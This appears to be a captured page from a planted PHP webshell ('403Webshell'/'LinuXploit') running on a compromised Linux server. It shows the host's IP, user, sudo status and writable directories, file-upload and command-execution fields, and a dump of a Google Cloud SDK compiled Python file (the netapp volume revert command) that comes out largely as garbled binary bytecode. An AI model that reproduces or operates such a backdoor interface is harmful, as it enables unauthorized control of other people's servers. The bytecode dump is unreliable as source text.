403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/google-cloud-sdk/lib/surface/netapp/volumes/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/google-cloud-sdk/lib/surface/netapp/volumes/__pycache__/revert.cpython-311.pyc
�

��L���dZddlmZddlmZddlmZddlmZddlm	Z	ddl
mZddlmZ
ddlmZdd	lmZdd
lmZe	je	jj��Gd�de	j����Ze	je	jj��Gd
�de����Ze	je	jj��Gd�de����ZdS)z;Reverts a Cloud NetApp Volume back to a specified Snapshot.�)�absolute_import)�division)�unicode_literals)�client)�base)�flags)�concept_parsers)�log)�
console_ioc�P�eZdZdZejjZddd�Ze	d���Z
d�ZdS)�Revert�:Revert a Cloud NetApp Volume back to a specified Snapshot.zU          Revert a Cloud NetApp Volume back to a specified source Snapshot
          z�          The following command reverts a Volume named NAME in the given location and snapshot

              $ {command} NAME --location=us-central1 --snapshot="snapshot1"
          )�DESCRIPTION�EXAMPLESc���tjtjd��g���|��tj|��tj|��dS)NzThe Volume to revert.)r	�
ConceptParserr�GetVolumePresentationSpec�AddToParser�
volumes_flags�AddVolumeRevertSnapshotArg�AddResourceAsyncFlag)�parsers �$lib/surface/netapp/volumes/revert.py�ArgszRevert.Args/sa���!�5�#B��$!�$!�#"�#�#�#.�;�v�#6�#6�#6��,�V�4�4�4�	��v�&�&�&�&�&�c�
�|jj���}tj|j���}d�|���|j��}tj
|���sdS|�||j|j��}|jr^d�|�
��j��}tj�d�|����|S)zRun the revert command.)�
release_trackzDYou are about to revert Volume {} back to Snapshot {}.
Are you sure?)�messageNzgcloud {} netapp volumes listzJCheck the status of the volume being reverted by listing all volumes:
$ {})�CONCEPTS�volume�Parse�volumes_client�
VolumesClient�_RELEASE_TRACK�format�RelativeName�snapshotr�PromptContinue�RevertVolume�async_�ReleaseTrack�prefixr
�status�Print)�self�args�
volume_refr�revert_warning�result�commands       r�Runz
Revert.Run6s�����%�+�+�-�-�J�
�
)��8K�
L�
L�
L�F�	���z�6�6�8�8�$�-�H�H���$�^�<�<�<��
�T�
�
 �
 ��T�]�D�K�
H�
H�F��{��/�6�6�
�
�
�
�
�
$���g�
�j����"�F�7�O�O�����MrN)�__name__�
__module__�__qualname__�__doc__rr+�GAr$�
detailed_help�staticmethodrr5�rrr
r
se������B�B��$�'�.���		�	�-��'�'��<�'�����rr
c�*�eZdZdZejjZdS)�
RevertBetarN)r6r7r8r9rr+�BETAr$r=rrr?r?Ls������B�B��$�)�.�.�.rr?c�*�eZdZdZejjZdS)�RevertAlpharN)r6r7r8r9rr+�ALPHAr$r=rrrBrBSs������B�B��$�*�.�.�.rrBN)r9�
__future__rrr�%googlecloudsdk.api_lib.netapp.volumesrr"�googlecloudsdk.callioper�!googlecloudsdk.command_lib.netappr�)googlecloudsdk.command_lib.netapp.volumesr�(googlecloudsdk.command_lib.util.conceptsr	�googlecloudsdk.corer
�googlecloudsdk.core.consoler�
ReleaseTracksr+r:�Commandr
r@r?rCrBr=rr�<module>rNs���B�A�&�&�&�&�&�&�������'�'�'�'�'�'�J�J�J�J�J�J�(�(�(�(�(�(�3�3�3�3�3�3�L�L�L�L�L�L�D�D�D�D�D�D�#�#�#�#�#�#�2�2�2�2�2�2����D�%�(�)�)�*�*�*�*�*�T�\�*�*�*�)�*�Z���D�%�*�+�+�*�*�*�*�*��*�*�,�+�*����D�%�+�,�,�+�+�+�+�+�*�+�+�-�,�+�+�+r

Youez - 2016 - github.com/yon3zu
LinuXploit